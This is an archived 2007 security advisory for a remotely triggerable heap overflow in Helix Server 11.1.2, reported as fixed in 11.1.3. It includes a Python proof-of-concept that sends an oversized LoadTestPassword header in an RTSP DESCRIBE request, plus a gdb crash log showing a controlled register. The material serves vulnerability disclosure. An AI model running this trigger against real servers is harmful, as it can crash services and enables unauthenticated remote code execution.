Lucene search
+L

helix-heap.txt

🗓️ 21 Mar 2007 00:00:00Reported by Evgeny LegerovType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Helix Server 11.1.2 heap overflow allows remote attackers to gain root privileges by sending an invalid DESCRIBE request. Vulnerability fixed in 11.1.3

Code
`Hi all,  
  
Name: Helix Server 11.1.2 heap overflow  
Vendor: http://www.realnetworks.com  
Release date: 20 March, 2007  
Author: Evgeny Legerov <[email protected]>  
Advisory URL: http://gleg.net/helix.txt  
  
I. DESCRIPTION  
  
A remote heap overflow vulnerability has been found in Helix Server.  
The vulnerability could allow a remote un-authenticated attacker to gain root  
privileges.  
  
II. DETAILS  
  
By sending a DESCRIBE request with an invalid LoadTestPassword field a remote  
attacker could cause a heap overflow and execute arbitrary code.  
  
More details about the vulnerability and the patch can be found here:  
http://lists.helixcommunity.org/pipermail/server-cvs/2007-January/003783.html  
  
III. VENDOR RESPONSE  
  
Vendor has been notified on Dec, 2006.  
According to vendor, the vulnerability is fixed in 11.1.3  
  
IV. CREDIT  
  
Discovered by Evgeny Legerov.  
The vulnerability is a part of VulnDisco Pack since 9 Feb, 2006.  
  
V. EXPLOIT  
  
A simple python script which can be used to reproduce the vulnerability:  
  
#!/usr/bin/env python  
# helix_exp1.py  
#  
# Copyright (c) 2006-2007 Evgeny Legerov  
#  
# Permission to use, copy, modify, and distribute this software for any  
# purpose with or without fee is hereby granted, provided that the above  
# copyright notice and this permission notice appear in all copies.  
#  
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES  
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF  
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR  
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES  
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN  
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF  
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.  
  
  
import sys  
import socket  
import struct  
import base64  
  
"""  
It is very easy to exploit this bug if your connection to a server is the first  
connection since the server's start.  
Example:  
  
Run Helix Server:  
# ./Bin/rmserver --acd --nca --nar rmserver.cfg  
  
Run this script:  
$ python helix_exp1.py localhost 554  
  
# gdb -q ./Bin/rmserver core.6017  
(no debugging symbols found)  
Using host libthread_db library "/lib/libthread_db.so.1".  
Reading symbols from shared object read from target memory...(no debugging  
symbols found)...done.  
Loaded system supplied DSO at 0x9da000  
Core was generated by `./Bin/rmserver --acd --nar --nca rmserver.cfg'.  
Program terminated with signal 11, Segmentation fault.  
...  
...  
Reading symbols from /var/helix/Plugins/qtbcplin.so...  
(no debugging symbols found)...done.  
Loaded symbols for /var/helix/Plugins/qtbcplin.so  
Reading symbols from /var/helix/Plugins/encoplin.so...(no debugging symbols  
found)...done.  
Loaded symbols for /var/helix/Plugins/encoplin.so  
#0 0x082b299b in ClientStats::SetLoadTestPassword ()  
(gdb) bt  
#0 0x082b299b in ClientStats::SetLoadTestPassword ()  
#1 0x08181dc8 in RTSPProtocol::RegisterPlayerOptions ()  
#2 0x08182cf0 in RTSPProtocol::HandleStreamDescriptionRequest ()  
#3 0x0819d3e1 in RTSPServerProtocol::OnDescribeRequest ()  
#4 0x0819ba36 in RTSPServerProtocol::DispatchMessage ()  
#5 0x0819bff0 in RTSPServerProtocol::handleInput ()  
#6 0x0819c20f in RTSPServerProtocol::ReadDone ()  
#7 0x08188dc3 in RTSPServerProtocol::EventPending ()  
#8 0x08266fab in CHXSocket::OnEvent ()  
#9 0x0816f994 in CHXServSocket::OnEvent ()  
#10 0x0816eaea in CServSockCB::Func ()  
#11 0x08166e82 in Callbacks::invoke_one_ts ()  
#12 0x08164d8c in ServerEngine::mainloop ()  
#13 0x081496a8 in PthreadEntryPoint ()  
#14 0x00000000 in ?? ()  
(gdb) x/i $eip  
0x82b299b <_ZN11ClientStats19SetLoadTestPasswordEP9IHXBuffer+43>: call   
*0x4(%eax)  
(gdb) i r eax  
eax 0x41414141 1094795585  
"""  
  
def main():  
print "Trigger for Helix Server 'LoadTestPassword' heap overflow"  
print "Tested with Helix Server 11.1.2 (11.1.2.1597) (Build 110528/8091)  
running Fedora Core Linux"  
  
if len(sys.argv) < 2:  
print "\nUsage: %s host" % sys.argv[0]  
print "Example: %s localhost\n" %sys.argv[0]  
return  
  
host = sys.argv[1]  
port = 554  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((host, port))  
  
s = "DESCRIBE rtsp://%s:%d/asdf.mp3 RTSP/1.0\r\n"%(host,port)  
s += "LoadTestPassword: %srrr\r\n" %  
(base64.encodestring("A"*5000).replace("\n",""))  
s += "\r\n"  
  
sock.sendall(s)  
sock.close()  
  
print "Done"  
  
if __name__=="__main__":  
sys.exit(main())  
  
  
Regards,  
Evgeny  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation